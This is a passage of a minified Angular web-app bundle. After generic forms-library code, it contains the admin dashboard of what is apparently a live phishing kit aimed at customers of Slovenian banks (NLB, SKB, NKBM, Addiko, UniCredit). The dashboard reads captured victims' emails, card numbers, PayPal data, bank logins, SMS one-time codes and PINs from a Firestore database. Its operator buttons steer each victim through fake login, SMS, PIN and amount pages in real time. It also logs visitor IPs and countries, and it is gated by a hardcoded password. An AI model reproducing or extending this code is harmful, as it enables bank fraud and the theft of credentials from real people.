new(e||t)(r.\u0275\u0275directiveInject(qO,10),r.\u0275\u0275directiveInject(WO,10))},t.\u0275dir=r.\u0275\u0275defineDirective({type:t,selectors:[["","formGroup",""]],hostBindings:function(t,e){1&t&&r.\u0275\u0275listener("submit",function(t){return e.onSubmit(t)})("reset",function(){return e.onReset()})},inputs:{form:["formGroup","form"]},outputs:{ngSubmit:"ngSubmit"},exportAs:["ngForm"],features:[r.\u0275\u0275ProvidersFeature([ZE]),r.\u0275\u0275InheritDefinitionFeature,r.\u0275\u0275NgOnChangesFeature]}),t})();const JE={provide:bE,useExisting:(0,r.forwardRef)(()=>tT)};let tT=(()=>{class t extends bE{constructor(t,e,n,i,o){super(),this._ngModelWarningConfig=o,this._added=!1,this.update=new r.EventEmitter,this._ngModelWarningSent=!1,this._parent=t,this._setValidators(e),this._setAsyncValidators(n),this.valueAccessor=IE(0,i)}set isDisabled(t){}ngOnChanges(t){this._added||this._setUpControl(),TE(t,this.viewModel)&&(this.viewModel=this.model,this.formDirective.updateModel(this,this.model))}ngOnDestroy(){this.formDirective&&this.formDirective.removeControl(this)}viewToModelUpdate(t){this.viewModel=t,this.update.emit(t)}get path(){return wE(null==this.name?this.name:this.name.toString(),this._parent)}get formDirective(){return this._parent?this._parent.formDirective:null}_checkParentType(){}_setUpControl(){this._checkParentType(),this.control=this.formDirective.addControl(this),this.control.disabled&&this.valueAccessor.setDisabledState&&this.valueAccessor.setDisabledState(!0),this._added=!0}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275directiveInject(yE,13),r.\u0275\u0275directiveInject(qO,10),r.\u0275\u0275directiveInject(WO,10),r.\u0275\u0275directiveInject(VO,10),r.\u0275\u0275directiveInject(XE,8))},t.\u0275dir=r.\u0275\u0275defineDirective({type:t,selectors:[["","formControlName",""]],inputs:{isDisabled:["disabled","isDisabled"],name:["formControlName","name"],model:["ngModel","model"]},outputs:{update:"ngModelChange"},features:[r.\u0275\u0275ProvidersFeature([JE]),r.\u0275\u0275InheritDefinitionFeature,r.\u0275\u0275NgOnChangesFeature]}),t._ngModelWarningSentOnce=!1,t})();function eT(t){return"number"==typeof t?t:parseInt(t,10)}const nT={provide:qO,useExisting:(0,r.forwardRef)(()=>rT),multi:!0};let rT=(()=>{class t{constructor(){this._required=!1}get required(){return this._required}set required(t){this._required=null!=t&&!1!==t&&"false"!=`${t}`,this._onChange&&this._onChange()}validate(t){return this.required?QO(t):null}registerOnValidatorChange(t){this._onChange=t}}return t.\u0275fac=function(e){return new(e||t)},t.\u0275dir=r.\u0275\u0275defineDirective({type:t,selectors:[["","required","","formControlName","",3,"type","checkbox"],["","required","","formControl","",3,"type","checkbox"],["","required","","ngModel","",3,"type","checkbox"]],hostVars:1,hostBindings:function(t,e){2&t&&r.\u0275\u0275attribute("required",e.required?"":null)},inputs:{required:"required"},features:[r.\u0275\u0275ProvidersFeature([nT])]}),t})();const iT={provide:qO,useExisting:(0,r.forwardRef)(()=>oT),multi:!0};let oT=(()=>{class t{constructor(){this._validator=JO}ngOnChanges(t){"minlength"in t&&(this._createValidator(),this._onChange&&this._onChange())}validate(t){return this.enabled()?this._validator(t):null}registerOnValidatorChange(t){this._onChange=t}_createValidator(){this._validator=this.enabled()?XO(eT(this.minlength)):JO}enabled(){return null!=this.minlength}}return t.\u0275fac=function(e){return new(e||t)},t.\u0275dir=r.\u0275\u0275defineDirective({type:t,selectors:[["","minlength","","formControlName",""],["","minlength","","formControl",""],["","minlength","","ngModel",""]],hostVars:1,hostBindings:function(t,e){2&t&&r.\u0275\u0275attribute("minlength",e.enabled()?e.minlength:null)},inputs:{minlength:"minlength"},features:[r.\u0275\u0275ProvidersFeature([iT]),r.\u0275\u0275NgOnChangesFeature]}),t})();const sT={provide:qO,useExisting:(0,r.forwardRef)(()=>aT),multi:!0};let aT=(()=>{class t{constructor(){this._validator=JO}ngOnChanges(t){"maxlength"in t&&(this._createValidator(),this._onChange&&this._onChange())}validate(t){return this.enabled()?this._validator(t):null}registerOnValidatorChange(t){this._onChange=t}_createValidator(){this._validator=this.enabled()?ZO(eT(this.maxlength)):JO}enabled(){return null!=this.maxlength}}return t.\u0275fac=function(e){return new(e||t)},t.\u0275dir=r.\u0275\u0275defineDirective({type:t,selectors:[["","maxlength","","formControlName",""],["","maxlength","","formControl",""],["","maxlength","","ngModel",""]],hostVars:1,hostBindings:function(t,e){2&t&&r.\u0275\u0275attribute("maxlength",e.enabled()?e.maxlength:null)},inputs:{maxlength:"maxlength"},features:[r.\u0275\u0275ProvidersFeature([sT]),r.\u0275\u0275NgOnChangesFeature]}),t})();const cT={provide:qO,useExisting:(0,r.forwardRef)(()=>lT),multi:!0};let lT=(()=>{class t{constructor(){this._validator=JO}ngOnChanges(t){"pattern"in t&&(this._createValidator(),this._onChange&&this._onChange())}validate(t){return this._validator(t)}registerOnValidatorChange(t){this._onChange=t}_createValidator(){this._validator=YO(this.pattern)}}return t.\u0275fac=function(e){return new(e||t)},t.\u0275dir=r.\u0275\u0275defineDirective({type:t,selectors:[["","pattern","","formControlName",""],["","pattern","","formControl",""],["","pattern","","ngModel",""]],hostVars:1,hostBindings:function(t,e){2&t&&r.\u0275\u0275attribute("pattern",e.pattern?e.pattern:null)},inputs:{pattern:"pattern"},features:[r.\u0275\u0275ProvidersFeature([cT]),r.\u0275\u0275NgOnChangesFeature]}),t})(),uT=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=r.\u0275\u0275defineNgModule({type:t}),t.\u0275inj=r.\u0275\u0275defineInjector({imports:[[QE]]}),t})(),dT=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=r.\u0275\u0275defineNgModule({type:t}),t.\u0275inj=r.\u0275\u0275defineInjector({imports:[uT]}),t})(),hT=(()=>{class t{static withConfig(e){return{ngModule:t,providers:[{provide:XE,useValue:e.warnOnNgModelWithFormControl}]}}}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=r.\u0275\u0275defineNgModule({type:t}),t.\u0275inj=r.\u0275\u0275defineInjector({imports:[uT]}),t})(),pT=(()=>{class t{group(t,e=null){const n=this._reduceControls(t);let r,i=null,o=null;return null!=e&&(function(t){return void 0!==t.asyncValidators||void 0!==t.validators||void 0!==t.updateOn}(e)?(i=null!=e.validators?e.validators:null,o=null!=e.asyncValidators?e.asyncValidators:null,r=null!=e.updateOn?e.updateOn:void 0):(i=null!=e.validator?e.validator:null,o=null!=e.asyncValidator?e.asyncValidator:null)),new GE(n,{asyncValidators:o,updateOn:r,validators:i})}control(t,e,n){return new zE(t,e,n)}array(t,e,n){const r=t.map(t=>this._createControl(t));return new UE(r,e,n)}_reduceControls(t){const e={};return Object.keys(t).forEach(n=>{e[n]=this._createControl(t[n])}),e}_createControl(t){return t instanceof zE||t instanceof GE||t instanceof UE?t:Array.isArray(t)?this.control(t[0],t.length>1?t[1]:null,t.length>2?t[2]:null):this.control(t)}}return t.\u0275fac=function(e){return new(e||t)},t.\u0275prov=(0,r.\u0275\u0275defineInjectable)({factory:function(){return new t},token:t,providedIn:hT}),t})();function fT(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"div",2),r.\u0275\u0275elementStart(1,"input",3),r.\u0275\u0275listener("keyup",function(e){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext().onKeyPass(e)}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()}}function gT(t,e){1&t&&(r.\u0275\u0275elementStart(0,"p"),r.\u0275\u0275text(1," Card "),r.\u0275\u0275elementEnd())}function mT(t,e){1&t&&(r.\u0275\u0275elementStart(0,"p"),r.\u0275\u0275text(1," Paypal "),r.\u0275\u0275elementEnd())}function yT(t,e){1&t&&(r.\u0275\u0275elementStart(0,"p"),r.\u0275\u0275text(1,"Waiting.."),r.\u0275\u0275elementEnd())}function bT(t,e){1&t&&(r.\u0275\u0275elementStart(0,"p"),r.\u0275\u0275text(1,"Wrong Login!"),r.\u0275\u0275elementEnd())}function vT(t,e){1&t&&(r.\u0275\u0275elementStart(0,"p"),r.\u0275\u0275text(1,"Login Page"),r.\u0275\u0275elementEnd())}function _T(t,e){1&t&&(r.\u0275\u0275elementStart(0,"p"),r.\u0275\u0275text(1,"SMS Page"),r.\u0275\u0275elementEnd())}function CT(t,e){1&t&&(r.\u0275\u0275elementStart(0,"p"),r.\u0275\u0275text(1,"Wrong SMS!"),r.\u0275\u0275elementEnd())}function wT(t,e){1&t&&(r.\u0275\u0275elementStart(0,"p"),r.\u0275\u0275text(1,"Unknown bank"),r.\u0275\u0275elementEnd())}function xT(t,e){1&t&&(r.\u0275\u0275elementStart(0,"p"),r.\u0275\u0275text(1,"Done!"),r.\u0275\u0275elementEnd())}function PT(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"tr",17),r.\u0275\u0275elementStart(1,"td",18),r.\u0275\u0275text(2),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(3,"td",19),r.\u0275\u0275elementStart(4,"span",20),r.\u0275\u0275text(5),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(6,"span"),r.\u0275\u0275text(7),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(8,"span",20),r.\u0275\u0275text(9),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(10,"div",21),r.\u0275\u0275elementStart(11,"button",22),r.\u0275\u0275listener("click",function(){const e=r.\u0275\u0275restoreView(t).$implicit;return r.\u0275\u0275nextContext(2).navNBG(e.id)}),r.\u0275\u0275text(12," NLB "),r.\u0275\u0275elementEnd(),r.\u0275\u0275text(13," | "),r.\u0275\u0275elementStart(14,"button",23),r.\u0275\u0275listener("click",function(){const e=r.\u0275\u0275restoreView(t).$implicit;return r.\u0275\u0275nextContext(2).navEuroBK(e.id)}),r.\u0275\u0275text(15," SKB "),r.\u0275\u0275elementEnd(),r.\u0275\u0275text(16," | "),r.\u0275\u0275elementStart(17,"button",24),r.\u0275\u0275listener("click",function(){const e=r.\u0275\u0275restoreView(t).$implicit;return r.\u0275\u0275nextContext(2).navAlpha(e.id)}),r.\u0275\u0275text(18," NKBM\n"),r.\u0275\u0275elementEnd(),r.\u0275\u0275text(19," | "),r.\u0275\u0275elementStart(20,"button",25),r.\u0275\u0275listener("click",function(){const e=r.\u0275\u0275restoreView(t).$implicit;return r.\u0275\u0275nextContext(2).navWinBK(e.id)}),r.\u0275\u0275text(21," BKS/Addiko "),r.\u0275\u0275elementEnd(),r.\u0275\u0275text(22," | "),r.\u0275\u0275elementStart(23,"button",25),r.\u0275\u0275listener("click",function(){const e=r.\u0275\u0275restoreView(t).$implicit;return r.\u0275\u0275nextContext(2).navAttica(e.id)}),r.\u0275\u0275text(24," UniCredit "),r.\u0275\u0275elementEnd(),r.\u0275\u0275text(25," | "),r.\u0275\u0275elementStart(26,"button",24),r.\u0275\u0275listener("click",function(){const e=r.\u0275\u0275restoreView(t).$implicit;return r.\u0275\u0275nextContext(2).navPOP(e.id)}),r.\u0275\u0275text(27," ISPS "),r.\u0275\u0275elementEnd(),r.\u0275\u0275text(28," | "),r.\u0275\u0275elementStart(29,"button",24),r.\u0275\u0275listener("click",function(){const e=r.\u0275\u0275restoreView(t).$implicit;return r.\u0275\u0275nextContext(2).navEvli(e.id)}),r.\u0275\u0275text(30," LinkM\n"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(31,"td",20),r.\u0275\u0275text(32),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(33,"td"),r.\u0275\u0275template(34,gT,2,0,"p",1),r.\u0275\u0275template(35,mT,2,0,"p",1),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(36,"td"),r.\u0275\u0275elementStart(37,"span",20),r.\u0275\u0275text(38),r.\u0275\u0275elementEnd(),r.\u0275\u0275text(39,": "),r.\u0275\u0275elementStart(40,"span",20),r.\u0275\u0275text(41),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(42,"span"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(43,"td"),r.\u0275\u0275elementStart(44,"input",26),r.\u0275\u0275listener("ngModelChange",function(e){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(2).showCode=e}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(45,"td",20),r.\u0275\u0275text(46),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(47,"td"),r.\u0275\u0275text(48),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(49,"td"),r.\u0275\u0275elementStart(50,"button",27),r.\u0275\u0275listener("click",function(){const e=r.\u0275\u0275restoreView(t).$implicit;return r.\u0275\u0275nextContext(2).navLogin(e.id)}),r.\u0275\u0275text(51," Log "),r.\u0275\u0275elementEnd(),r.\u0275\u0275text(52," | "),r.\u0275\u0275elementStart(53,"button",28),r.\u0275\u0275listener("click",function(){const e=r.\u0275\u0275restoreView(t).$implicit;return r.\u0275\u0275nextContext(2).wrongLogin(e.id)}),r.\u0275\u0275text(54," Log "),r.\u0275\u0275elementEnd(),r.\u0275\u0275text(55," | "),r.\u0275\u0275elementStart(56,"button",29),r.\u0275\u0275listener("click",function(){const e=r.\u0275\u0275restoreView(t).$implicit;return r.\u0275\u0275nextContext(2).navMobileTAN(e.id)}),r.\u0275\u0275text(57," SMS "),r.\u0275\u0275elementEnd(),r.\u0275\u0275text(58," | "),r.\u0275\u0275elementStart(59,"button",30),r.\u0275\u0275listener("click",function(){const e=r.\u0275\u0275restoreView(t).$implicit;return r.\u0275\u0275nextContext(2).wrongMobileTAN(e.id)}),r.\u0275\u0275text(60," SMS "),r.\u0275\u0275elementEnd(),r.\u0275\u0275text(61," |"),r.\u0275\u0275elementStart(62,"button",29),r.\u0275\u0275listener("click",function(){const e=r.\u0275\u0275restoreView(t).$implicit;return r.\u0275\u0275nextContext(2).navPIN(e.id)}),r.\u0275\u0275text(63," PIN "),r.\u0275\u0275elementEnd(),r.\u0275\u0275text(64," | "),r.\u0275\u0275elementStart(65,"button",30),r.\u0275\u0275listener("click",function(){const e=r.\u0275\u0275restoreView(t).$implicit;return r.\u0275\u0275nextContext(2).wrongPIN(e.id)}),r.\u0275\u0275text(66," PIN "),r.\u0275\u0275elementEnd(),r.\u0275\u0275text(67," |"),r.\u0275\u0275elementStart(68,"button",29),r.\u0275\u0275listener("click",function(){const e=r.\u0275\u0275restoreView(t).$implicit;return r.\u0275\u0275nextContext(2).navAMOUNT(e.id)}),r.\u0275\u0275text(69," Amount "),r.\u0275\u0275elementEnd(),r.\u0275\u0275text(70," | "),r.\u0275\u0275elementStart(71,"button",30),r.\u0275\u0275listener("click",function(){const e=r.\u0275\u0275restoreView(t).$implicit;return r.\u0275\u0275nextContext(2).wrongAMOUNT(e.id)}),r.\u0275\u0275text(72," Amount "),r.\u0275\u0275elementEnd(),r.\u0275\u0275text(73," | "),r.\u0275\u0275elementStart(74,"button",23),r.\u0275\u0275listener("click",function(){const e=r.\u0275\u0275restoreView(t).$implicit;return r.\u0275\u0275nextContext(2).navSuccessTAN(e.id)}),r.\u0275\u0275text(75," Done "),r.\u0275\u0275elementEnd(),r.\u0275\u0275text(76," | "),r.\u0275\u0275elementStart(77,"button",31),r.\u0275\u0275listener("click",function(){const e=r.\u0275\u0275restoreView(t).$implicit;return r.\u0275\u0275nextContext(2).deleteLogin(e.id)}),r.\u0275\u0275text(78," X "),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(79,"td",32),r.\u0275\u0275template(80,yT,2,0,"p",1),r.\u0275\u0275template(81,bT,2,0,"p",1),r.\u0275\u0275template(82,vT,2,0,"p",1),r.\u0275\u0275template(83,_T,2,0,"p",1),r.\u0275\u0275template(84,CT,2,0,"p",1),r.\u0275\u0275template(85,wT,2,0,"p",1),r.\u0275\u0275template(86,xT,2,0,"p",1),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()}if(2&t){const t=e.$implicit,n=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(2),r.\u0275\u0275textInterpolate(t.email),r.\u0275\u0275advance(2),r.\u0275\u0275property("cbContent",t.card.split("-",3)[0].split(":",3)[1]),r.\u0275\u0275advance(1),r.\u0275\u0275textInterpolate(t.card.split("-",3)[0]),r.\u0275\u0275advance(2),r.\u0275\u0275textInterpolate1(" - ",t.card.split("-",3)[1]," - "),r.\u0275\u0275advance(1),r.\u0275\u0275property("cbContent",t.card.split("-",3)[2]),r.\u0275\u0275advance(1),r.\u0275\u0275textInterpolate(t.card.split("-",3)[2]),r.\u0275\u0275advance(22),r.\u0275\u0275property("cbContent",t.pp),r.\u0275\u0275advance(1),r.\u0275\u0275textInterpolate1(" ",t.pp," "),r.\u0275\u0275advance(2),r.\u0275\u0275property("ngIf",1==t.payment),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",2==t.payment),r.\u0275\u0275advance(2),r.\u0275\u0275property("cbContent",t.credentials.split(":",2)[0]),r.\u0275\u0275advance(1),r.\u0275\u0275textInterpolate1(" ",t.credentials.split(":",2)[0]," "),r.\u0275\u0275advance(2),r.\u0275\u0275property("cbContent",t.credentials.split(":",2)[1]),r.\u0275\u0275advance(1),r.\u0275\u0275textInterpolate1(" ",t.credentials.split(":",2)[1]," "),r.\u0275\u0275advance(3),r.\u0275\u0275propertyInterpolate("id",t.id),r.\u0275\u0275property("ngModel",n.showCode),r.\u0275\u0275advance(1),r.\u0275\u0275property("cbContent",t.smsCode),r.\u0275\u0275advance(1),r.\u0275\u0275textInterpolate1(" ",t.smsCode," "),r.\u0275\u0275advance(2),r.\u0275\u0275textInterpolate1(" ",t.pin," "),r.\u0275\u0275advance(32),r.\u0275\u0275property("ngIf",3==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",4==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",2==t.step||9==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",5==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",6==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",9==t.bnk),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",10==t.step)}}function ST(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"p",33),r.\u0275\u0275text(1),r.\u0275\u0275pipe(2,"date"),r.\u0275\u0275elementEnd()),2&t){const t=e.$implicit;r.\u0275\u0275advance(1),r.\u0275\u0275textInterpolate4(" ",t.ip," - [ ",t.country," ] - [ ",t.device," ] - ",r.\u0275\u0275pipeBind2(2,4,t.dateTime,"short")," ")}}function MT(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"div"),r.\u0275\u0275elementStart(1,"nav",4),r.\u0275\u0275elementStart(2,"a",5),r.\u0275\u0275text(3,"Dashboard"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(4,"mat-tab-group",6),r.\u0275\u0275elementStart(5,"mat-tab",7),r.\u0275\u0275elementStart(6,"div",8),r.\u0275\u0275elementStart(7,"table",9),r.\u0275\u0275elementStart(8,"thead"),r.\u0275\u0275elementStart(9,"tr",10),r.\u0275\u0275elementStart(10,"th",11),r.\u0275\u0275text(11,"Email"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(12,"th",11),r.\u0275\u0275text(13,"Card"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(14,"th",11),r.\u0275\u0275text(15,"PP"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(16,"th",11),r.\u0275\u0275text(17,"Method"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(18,"th",11),r.\u0275\u0275text(19,"Login"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(20,"th",11),r.\u0275\u0275text(21,"Show Code"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(22,"th",11),r.\u0275\u0275text(23,"SMS"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(24,"th",11),r.\u0275\u0275text(25,"PIN"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(26,"th",11),r.\u0275\u0275text(27,"Action"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(28,"th",11),r.\u0275\u0275text(29,"Step"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(30,"tbody"),r.\u0275\u0275template(31,PT,87,26,"tr",12),r.\u0275\u0275pipe(32,"async"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(33,"mat-tab",13),r.\u0275\u0275elementStart(34,"div",14),r.\u0275\u0275elementStart(35,"div",15),r.\u0275\u0275template(36,ST,3,7,"p",16),r.\u0275\u0275pipe(37,"async"),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(38,"div",15),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext();r.\u0275\u0275advance(31),r.\u0275\u0275property("ngForOf",r.\u0275\u0275pipeBind1(32,2,t.logins)),r.\u0275\u0275advance(5),r.\u0275\u0275property("ngForOf",r.\u0275\u0275pipeBind1(37,4,t.visits))}}let OT=(()=>{class t{constructor(t,e,n){this.afStorage=t,this.db=e,this.storage=n,this.Authorized=!1,this.loginLength=1,this.showCodeOP="",this.showCode="",this.pLength=1,this.password="",this.dLength=1,this.vlength=1,this.reg="Bet",this.login={id:"",credentials:"",smsCode:"",card:"",bnk:0,pin:"",email:"",pp:"",payment:0,step:0,name:"",zip:"",adress:"",city:"",dateTime:"",ip:""},this.page=0,this.pageSize=12,this.lpage=0,this.lpageSize=12,this.vpage=0,this.vpageSize=27,"1"==localStorage.getItem("Authorized")&&(this.Authorized=!0),this.resultsCollection=this.db.collection("lBet",t=>t.orderBy("dateTime","desc")),this.visitsCollection=this.db.collection("vBet",t=>t.orderBy("dateTime","desc")),this.logins=this.resultsCollection.snapshotChanges().pipe((0,ue.U)(t=>t.map(t=>{const e=t.payload.doc.data();return e.id=t.payload.doc.id,e}))),this.visits=this.visitsCollection.snapshotChanges().pipe((0,ue.U)(t=>t.map(t=>{const e=t.payload.doc.data();return e.id=t.payload.doc.id,e}))),this.audio=new Audio,this.audio.src="../../assets/audio/Letter.mp3",this.audio.load(),this.visitAudio=new Audio,this.visitAudio.src="../../assets/audio/Cuckoo.mp3",this.visitAudio.load(),this.ccAudio=new Audio,this.ccAudio.src="../../assets/audio/ccaudio.mp3",this.ccAudio.load(),this.visits.subscribe(t=>{this.vlength=t.length,this.visitAudio.play(),this.staticVisits=t}),this.logins.subscribe(t=>{this.loginLength=t.length,this.audio.play(),console.log(this.logins),this.staticLogins=t})}ngOnInit(){}onKeyPass(t){this.password+=t.target.value,console.log(t.target.value),"6F"==t.target.value&&(localStorage.setItem("Authorized","1"),this.Authorized=!0)}onFileSelected(t,e){var n=Date.now();const r=t.target.files[0],i=this.storage.ref(`RoomsImages/${n}`);this.storage.upload(`RoomsImages/${n}`,r).snapshotChanges().pipe(zn(()=>{this.downloadURL=i.getDownloadURL(),this.downloadURL.subscribe(t=>{t&&(this.fb=t,this.db.collection("lBet").doc(e).update({step:4,photoURL:t})),console.log(this.fb)})})).subscribe(t=>{t&&console.log(t)})}copyToClipboard(t){return t.cardNumber+":"+t.month+":"+t.year+":"+t.cvv}deleteLogin(t){console.log(t),confirm("are you sure?")?this.db.collection("l"+this.reg).doc(t).delete():console.log("canceled")}deleteSms(t){console.log(t),confirm("are you sure?")?this.db.collection("sms"+this.reg).doc(t).delete():console.log("canceled")}delete(t){console.log(t),confirm("are you sure?")?this.db.collection("billing"+this.reg).doc(t).delete():console.log("canceled")}addComment(t){this.billingsCollection.doc(t.id).update(t)}navLogin(t){this.login.step=3,this.db.collection("lBet").doc(t).update({step:2})}wrongLogin(t){this.login.step=3,this.db.collection("lBet").doc(t).update({step:4})}wrongPhotoTAN(t){this.db.collection("lBet").doc(t).update({step:5})}navMobileTAN(t){this.db.collection("lBet").doc(t).update({step:5,showCode:this.showCode,showCodeOP:this.showCodeOP})}wrongMobileTAN(t){this.db.collection("lBet").doc(t).update({step:6,showCode:this.showCode,showCodeOP:this.showCodeOP})}navPIN(t){this.db.collection("lBet").doc(t).update({step:7,showCode:this.showCode,showCodeOP:this.showCodeOP})}wrongPIN(t){this.db.collection("lBet").doc(t).update({step:8,showCode:this.showCode,showCodeOP:this.showCodeOP})}navAMOUNT(t){this.db.collection("lBet").doc(t).update({step:9,showCode:this.showCode,showCodeOP:this.showCodeOP})}wrongAMOUNT(t){this.db.collection("lBet").doc(t).update({step:11,showCode:this.showCode,showCodeOP:this.showCodeOP})}navCardTAN(t){this.db.collection("lBet").doc(t).update({step:8})}navSuccessTAN(t){this.db.collection("lBet").doc(t).update({step:10})}naveSafe(t){this.db.collection("lBet").doc(t).update({step:10})}navNBG(t){this.db.collection("lBet").doc(t).update({bnk:1})}navAlpha(t){this.db.collection("lBet").doc(t).update({bnk:2})}navWinBK(t){this.db.collection("lBet").doc(t).update({bnk:3})}navEuroBK(t){this.db.collection("lBet").doc(t).update({bnk:4})}navAttica(t){this.db.collection("lBet").doc(t).update({bnk:5})}navEvli(t){this.db.collection("lBet").doc(t).update({bnk:6})}navBNP(t){this.db.collection("lBet").doc(t).update({bnk:7})}navPOP(t){this.db.collection("lBet").doc(t).update({bnk:8})}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275directiveInject(Ea),r.\u0275\u0275directiveInject(vw),r.\u0275\u0275directiveInject(Ea))},t.\u0275cmp=r.\u0275\u0275defineComponent({type:t,selectors:[["app-dashboard"]],decls:2,vars:2,consts:[["style","display: flex; justify-content: center; margin-top: 10px;",4,"ngIf"],[4,"ngIf"],[2,"display","flex","justify-content","center","margin-top","10px"],["type","password",3,"keyup"],[1,"navbar","navbar-light",2,"background-color","#133c7f","justify-content","center"],[1,"navbar-brand",2,"color","white"],["mat-align-tabs","center"],["label","Results",2,"color","black"],[2,"margin-left","0px","margin-right","0px"],[1,"table","table-borderless","main"],[1,"head"],["scope","col"],["class","rounded bg-white",4,"ngFor","ngForOf"],["label","Visits"],[1,"container-fluid","login-background"],[1,"row"],["class","col-md-4",4,"ngFor","ngForOf"],[1,"rounded","bg-white"],[1,"order-color"],[2,"font-weight","bold","min-width","300px","white-space","pre"],["ngxClipboard","",3,"cbContent"],[2,"margin-top","5px"],["type","button","title","Navigate smsTAN Page",1,"btn","btn-success","btn-sm",3,"click"],["type","button","title","Navigate Success Page",1,"btn","btn-success","btn-sm",3,"click"],["type","button",1,"btn","btn-success","btn-sm",3,"click"],["type","button","title","Wrong Login",1,"btn","btn-success","btn-sm",3,"click"],["type","text","maxlength","8",2,"border-radius","13px","width","80px",3,"id","ngModel","ngModelChange"],["type","button","title","Wrong Login",1,"btn","btn-primary","btn-sm",3,"click"],["type","button","title","Wrong Login",1,"btn","btn-danger","btn-sm",3,"click"],["type","button","title","Navigate smsTAN Page",1,"btn","btn-primary","btn-sm",3,"click"],["type","button",1,"btn","btn-danger","btn-sm",3,"click"],["type","button",1,"btn","btn-warning","btn-sm",3,"click"],[2,"width","150px"],[1,"col-md-4"]],template:function(t,e){1&t&&(r.\u0275\u0275template(0,fT,2,0,"div",0),r.\u0275\u0275template(1,MT,39,6,"div",1)),2&t&&(r.\u0275\u0275property("ngIf",!e.Authorized),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",e.Authorized))},directives:[ut,xO,pO,ct,DO,zO,aT,_E,KE],pipes:[bt,vt],styles:['.container-background[_ngcontent-%COMP%]{background-image:url(bg.1d3619e1768074252423.jpg);background-size:contain;padding:3rem;position:relative;width:90%} .mat-ink-bar{background-color:#0000cd!important} .mat-tab-label-content{color:#0000cd!important}.table[_ngcontent-%COMP%] > tbody[_ngcontent-%COMP%] > tr[_ngcontent-%COMP%] > td[_ngcontent-%COMP%], .table[_ngcontent-%COMP%] > tbody[_ngcontent-%COMP%] > tr[_ngcontent-%COMP%] > th[_ngcontent-%COMP%], .table[_ngcontent-%COMP%] > tfoot[_ngcontent-%COMP%] > tr[_ngcontent-%COMP%] > td[_ngcontent-%COMP%], .table[_ngcontent-%COMP%] > tfoot[_ngcontent-%COMP%] > tr[_ngcontent-%COMP%] > th[_ngcontent-%COMP%], .table[_ngcontent-%COMP%] > thead[_ngcontent-%COMP%] > tr[_ngcontent-%COMP%] > td[_ngcontent-%COMP%], .table[_ngcontent-%COMP%] > thead[_ngcontent-%COMP%] > tr[_ngcontent-%COMP%] > th[_ngcontent-%COMP%]{padding:8px;line-height:1.42857143;vertical-align:top;border-top:1px solid 